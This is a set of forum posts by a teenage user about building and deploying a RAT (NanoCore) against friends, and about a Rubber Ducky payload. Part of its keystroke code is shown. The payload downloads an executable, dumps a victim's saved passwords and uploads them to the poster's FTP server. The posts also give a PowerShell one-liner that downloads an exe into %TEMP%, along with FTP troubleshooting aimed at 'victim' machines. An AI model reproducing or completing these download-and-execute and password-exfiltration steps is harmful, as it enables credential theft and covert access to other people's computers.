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  1. I uploaded the file which would have granted me access if someone executed it. I also considered doing it with a VM, but I would have to download all these virus scanners, which is the advantage oft online scanners.
  2. So this is basically an update to my post here: I didn't know how the person got my RAT in the first place and how they got onto my computer. Now I know that it wasn't someone that got into my Computer because of the cracked version of the Rat-Program - even though there was a silent monero miner in it - but it was someone that got my file from VirusTotal. It's a site where you can scan files and see which out of like 50 antiviruses detect it. I didn't know that they distribute the files and that you can straightly DOWNLOAD them from the site. So someone was probably running a bo
  3. No, Wireshark was not running or at least I didn't see it. I don't know the port anymore because I deleted it. It was probably a VM, I think the Display measures I saw in nanocore were 800x800 and I used a VM that had these quarter windows once Update: Last night I left my computer on due to Ethereum mining and had 1 browser window open. When I got up and looked at my screen, the browser window was closed and I was on my Steam Account Page where I can see my Payment Methods and all that stuff. I didn't have that much time because I had to go to school, but in the brows
  4. Sorry I didn't know that. I think the problem was that I opened the UDP and TCP Ports without any security.
  5. Hello, something really weird happened to me yesterday. I created a RAT that I encrypted in a WinRar File and wanted to troll some of my friends with. I send the file in the chat of my discord server (similar to Teamspeak) and before that tested it on virustotal.com and a similar site. No one downloaded it (unfortunately ^^), but a few hours later (when none of the people that were on the discord were online) anymore, I saw a connection coming in. I used a cracked version of NanoCore that I got from some hacking forum (it was created by Alcatraz3222 and thousands of people downloaded it).
  6. Hello, I wanted to download files via CMD, and the first way I discovered was FTP. I rent a server and everything worked. The problem is that it takes kinda long to type in the credentials. After some research I found this PowerShell line: powershell (new-object System.Net.WebClient).DownloadFile('http://website.com/file.exe','%TEMP%\file.exe') But I have some questions: What is the part after %TEMP% for? Is that the destination where the files "arrives"? So if i wanted to download it to C:\, I just have to change it to C:\, right? Where can I host the file for free?
  7. At first: I´m sorry for my bad English, I´m only 14 and german ^^ So I just wrote this Rubber Ducky Script that downloads a .exe and a .bat from my FTP Server. Then it executes the .exe with the .bat file what creates a .txt file with all the passwords of the victim (of course me when I forgot my passwords :P). Then it deletes the .exe and .bat and uploads the .txt back to my server (it gets deleted after that, too.). Here´s the script: DELAY 1000 REM REM start cmd REM REM GUI r DELAY 500 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 2000 STRING Alt j DE
  8. SOLVED. The problem was that I didn´t activate the binary mode in the FTP Client. But thanks for your help anyways ;)
  9. At first: Sorry for my bad English, I´m german and only 14 years old. I upload an .exe file from my computer to my FTP Server with the FTP.exe(cmd). Before I did that it was working just fine. But after I downloaded it, it comes up with the following error: "The file is not compatible with your computer." Before that, it came up with another error, something like "not compatible with a 64 Bit System. I accidently asked the question on StackOverflow 2 hours ago, and some people answered that I have to active binary mode. When I do that with the "binary" command, I get an answer that t
  10. I tried the pasv, it didn´t work. The script is a PowerShell code. But do you know what I have to insert in "????"? It was originally "FTP_Folder". Maybe it´s the target folder on the FTP Server? It it would be the root folder, I would just have to type in "/", right? The folder "files" is empty when I inserted "/".
  11. So I just tried a script from the StackOverflow Site, but when I execute it, nothing happens. #FTP Server Information - SET VARIABLES $ftp = "myftpserver.com" $user = 'User' $pass = 'pass' $folder = '????' $target = "C:\Users\me\Desktop\files" #SET CREDENTIALS $credentials = new-object System.Net.NetworkCredential($user, $pass) function Get-FtpDir ($url,$credentials) { $request = [Net.WebRequest]::Create($url) $request.Method = [System.Net.WebRequestMethods+FTP]::ListDirectory if ($credentials) { $request.Credentials = $credenti
  12. I tried the exact same as the guy in the video did. You can see the commands I used in my question. The problem with a 3rd party FTP client is, that the "victim" doesn´t have it installed. I put WinSCP(which is a 3rd party FTP client) on my server, but surprisingly I couldn´t download it. I´ll try that PowerShell thingy. Thanks for your effort tho.
  13. Thank you for your answer. I tried everything you said, but it didn´t work. I just tried it on Linux with -p for passive mode and everything worked fine, so the passive mode is the problem. Btw: I just remembered that I asked the question here because it had nothing to do with the Rubber Ducky. I only had the problem with the commands and had already a script from the Payloads site + Batch File, that used those commands. But thanks for your answer anyways ;) Do you have any idea how I can solve that passive problem? Why and how can others download files from an FTP Server via CMD the
  14. What do you mean with "generic command"? Sorry, i am new to this and couldn´t find anything about it on Google.
  15. Thank for this answer. I thought that the question belongs here because I didn´t find that many questions in the Rubber Ducky topic. I´ll try the suggestions you made ;)
  16. I wanted to make a Rubber Ducky Script that uploads or downloads from my FTP Server. I came up with these commands: For downloading: ftp -i ftpserver.com *typing in username and pass* get file.exe (yes the files is in the root folder) The login worked fine. On my first FTP Server, I got the Error message " Error 500 Unable to service PORT commands" . After some research, I found out, that the ftp.exe does not support passive mode (no, the pasv command didn´t work). For whatever reason, i tried it on my other servers. So I´m typing everything in again, and then I get the mes
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